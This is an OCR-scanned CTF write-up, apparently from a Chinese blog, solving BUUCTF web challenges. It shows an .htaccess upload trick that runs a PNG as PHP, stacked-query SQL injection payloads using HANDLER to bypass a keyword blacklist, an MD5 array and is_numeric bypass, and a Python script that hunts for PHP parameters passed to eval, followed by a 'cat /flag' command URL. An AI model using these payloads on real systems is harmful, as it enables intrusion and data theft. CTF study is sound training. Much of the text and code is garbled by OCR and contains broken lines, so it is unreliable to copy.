<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

XIE AV AE 2 ik Apache R S A S 7 ST 43 Bl php % g
Hif:

A% htaccess X, HiFittypefikimage/pngdE &Y

------ WeblitFormBoundaryTNoBCLKEAZ4esBgD
Caontent-Disposition: form-data; name="uploaded”; flename=".htaccess"
Content-Type: image/png

<FilesMatch "1.png"=
SetHandler application/x-httpd-php

P = P O B

A% png x5

Warning: mkdir(): File exists in /var/www/html/upload.php on line 23
/var/www/html/upload/718c0f9b05a5b2b019b2da05716ce394/1.png succesfully uploaded!



i B RWSIER, 7E/HF T HAflag
M FEE e

OFm | AESS | O MR
0 BiAS % ©

© & X ET R

B Eulfs v

URLHtHE * 348.node3.buuoj.cn//upload/718c0f9b05a5b2b019b2da05716ce394/ 1.pnd|

EEER - attack
i yed
mERE UTF8 v
R PHP v
LR
(=) default (A3EE)
) random ()
© base64 .
e ERER ~
of Hitigs N

RTh o
v EERTh

https://blog.csdn.netlqq_48175067

31.[GYCTF2020]Blacklist

%G BRI -

Black list is so weak for you,isn't it
Zo =3

T 5 9 A I8 {68 3 e T R

LI 1 BoR

Black list is so weak for you,isn't it

1 =
error 1064 : You have an error in your SOL syntax; check the manual that corresponds to vour NariaDB server version for the right syntax to use near 17 at line 1

A



Black list is so weak for you,isn't it
|

8

g I

arrayi?) |

(ol=>

string (1) 17

[1]=>

string (7) “hahahah™
}

arrayi?) |
(ol=>
string (1) "27
[1]1=>

string(12) "miaomiaomiac”

array(2) {
[o]=>
string (B) “1145147
[1]=>
string(2) “y=”

BREEN BB IEAF

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

Black list is so weak for you,isn't it

i (1 || $232

return preg match(”/set|prepare |alter |rename |select |update|delete |drop |insert |where |y, /17, $inject):

HBIEN
payload:
BR

1';show tables;#



Black list is so weak for you,isn't it

B

g I

array(2) {
[o]=>
string(1) “17
[1]=>
string(7) “hahahah”

arrayil) |
(ol=>
string (8) "FlagHere”

}

array(l) {
[o]=>
string(5) “words”

}

&%\ payload:

1';show columns from ~FlagHere™; %23

Black list is so weak for you,isn't it
|

i

=gk ]

array(2) [

[o]=>

string(1) “17

[1]=>

string(7) “hahahah”
)

array(6) 1
[ol=»
string(4) "flag”
[1]=>
string(12) “varchar (10037
[2]=>
string(?) “HO*
[3]=»
string(0) 77
[4]=>
NULL
[5]=>
string (0]

payload:

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#


https://dev.mysql.com/doc/refman/8.0/en/handler.html

32.[MRCTF2020]Ez_bypass

1 put something in F12 for you include 'flag.php’; $flag="MRCTF{oxxxxxxxxxxxoccoaxaxxxxxy}’; ifisset(S_GET['gg'])&&isset($_GET['id'])) { Sid=$_GET['id'; $gg=5_GET['gg']; if (md5($id) === md5($gg)
&& $id I== $gg) { echo 'You got the first step’; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (lis_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!"; highlight file('flag.php’);
die('By Retr_0"); } else { echo "can you think twice??"; } } else{ echo 'You can not get it I'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input
first"); } }Please input first

HRIE R AS B YR A 7T LA B 4% XA O A

I put something in F12 for you
include ‘'flag.php';
$flag="MRCTF{XXXXXXXXXXXXXXXXXXXXXXXXX}" ;
if(isset($_GET['gg'])&8&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step’;
if(isset($_POST['passwd'])) {
$passwd=$ POST[ 'passwd'];
if (!'is_numeric($passwd))

{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !’';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}

}Please input first

md5SF B SE, md5() R LERRIMESA, REINULL, FiANULLAEZ

is_numeric()B #H 1234567a%8. 1234567aRFfFeh, (ERFGLLBIINE, 17657, php¥ HEARE BET, AT LUl i
IE

i payload:

?id[]=a&gg[]=b



| put something in F12 for you include 'flag.php’; $flag='MRCTF{XXXXXXXXXXXXXXXXXXXXXXXXX] | if(isset($_GET['gg')&&isset($_GET[id"])) { $id=$ GET['id']; $gg=5 GET['gg'l; if (md5($id) === md5($gg)
&8& Sid == $gg) { echo 'You got the first step’; if(isset($_POST['passwd'])) { $passwd=$ POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!"; highlight_file('flag.php’);
die('By Retr_0"); } else { echo "can you think twice??"; } } else{ echo "You can not get it !'; } } else{ die('only one way to get the flag’); } } else { echo "You are not a real hacker!"; } } else{ die('Please input
first); } }

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48
You got the first steponly one way to get the flag

('is_numeric($passwd) && $passwd==1234567)=true

payload:
passwd=1234567abc

it postit £

| put something in F12 for you include 'flag.php'; $flag='MRCTF{XxxXXXXXXXXXXXXXXXXXXXXxX} ; if(isset($_GET['gg')) &&isset($_GET['id"])) { $id=$_GET['id']; $9g=$_GET['gg']; if (md5($id) === md5($gg)
&& $id == $gg) { echo 'You got the first step’; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (lis_numeric($passwd)) { if(Spasswd==1234567) { echo 'Good Job!'; highlight_file('flag.php");
die('By Retr 0"); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } elsef die(‘'only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input
first); } }

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48

You got the first stepGood Job! <7php
3flag="flag (73£8e658-2472-4751-a%22-0160c8424eel) ~

7> By Retr_0

Z3flag.

33.[EM A 2019]E B B &

BZER, ADER, IRiESHER
RERRRBGNADOFE, BESHT7MSEBHwww.tar. gzl AR

FEERRL RGN

BEEE url FEMLE wiw. tar. gz T TFTHEIXEBTEH, XHE AR
FIFFRJLTA php XX, T EAREL, WAKRZEE, PTEHEERE shell
M E—REEEA (F: FEpython2.7, HEEEXRIA R
A= 53t

— coding: utf-8 —

#!/usr/bin/python

import requests

import sys

import os

import threading

import time

url = "http://127.0.0.1/src/"
files = os.listdir("C://phpStudy//PHPTutorial//WWW//src//")

# print(files)



def GetGet(file):
a =[]
f = open("C://phpStudy//PHPTutorial//WWW//src//" + file, 'r")
content = f.readlines()
for i in content:
if i.find("$_GET['") > ©:

start = i.find("$_GET['") + 7

end = i.find("'", start)

a.append(i[start:end])
return a

def GetPost(file):
a=1[l]
f = open("C://phpStudy//PHPTutorial//WWW//src//" + file, 'r")
content = f.readlines()

for i in content:
if i.find("$_POST['") > @:
start = i.find("$_POST['") + 8
end = i.find("'", start)
a.append(i[start:end])
return a

def Send(start, end):
start = int(start)
end = int(end)
for i in range(start, end):
i = files[i]
get = GetGet(i)
print("Try filename: %s" % i)
for j in get:
NewUrl = url + "%s?%s=%s" % (i, j, 'echo "Success!!!"")
s = requests.get(NewUrl)
if ("Success" in s.text):
print("Success! Url:%s" % (NewUrl))
break
post = GetPost(i)
for j in post:
NewUrl = url + "%s" % (i)
s = requests.post(NewUrl, data={j: "echo 'Success!!'"})
if ("Success" in s.text):
print("Success! Post:%s" % (j))
break

class myThread(threading.Thread):
def __init__ (self, threadID, name, counter):
threading.Thread.__init__ (self)
self.threadID = threadID
self.name = name
self.counter = counter

def run(self):
Send(self.name, self.counter)

for i in range(0, 150):
thread = muThread(i 4 * 20 (i + 1) * 20)



R L 2L LR LR i R vy N+ oy evy

thread.start()

Vil http://12a60ca6-f3f8-42bd-b23f-c2403a362F9¢.node3.buuoj.cn/xkeSzyKwfzw.php?Efa5BVG=cat%20/flag

%%?Uflag

array(1) { [0]=> string(8) "wiMISI7q" } array(1) { [0]=> string(3) "NPK" }

Warning: assert(): assert($_GET['xdOUXc39w'] 2? ' '): " " failed in /var/www/html/xk0SzyKwfzw.php on line 20

Array () string(5) "vCvMI" PSlarray(1) { [0]=> string(8) "Ph7u_Cwv" } array(1) { [0]=> string(10) "idch8Z7Sn6" } array(1) { [0]=> string(9) "djD1Ytoul" } array(1) { [0]=> string(11) "Egx6a0p6kUP" }
string(9) "jYmlyYvlz" VSYcTArray () string(8) "hi5LWnZd" array(1) { [0]=> string(8) "dJREKNffr" } Array () KuuSMt1string(8) "jyUmroW_" array(1) { [0]=> string(4) "XQhY" }
_68ccPIKGXOAPTUGDAATrray () Array () MR8s3nFnarray(1) { [0]=> string(10) "FWefOFK4g7" } array(1) { [0]=> string(9) "iZFnwUgPf" } Array () THRQINrpUJvf641flag{dc319193-ef89-4405-aT4c-|
Bde63c4899ch}]array(1) { [0]=> string(6) "KLRXmV" } array(1) { [0]=> string(2) "Tw" } Array () array(1) { [0]=> string(8) "oCoznfQZ" } giArray () czuhsLFVgQstring(7) "T5kR500" End of File
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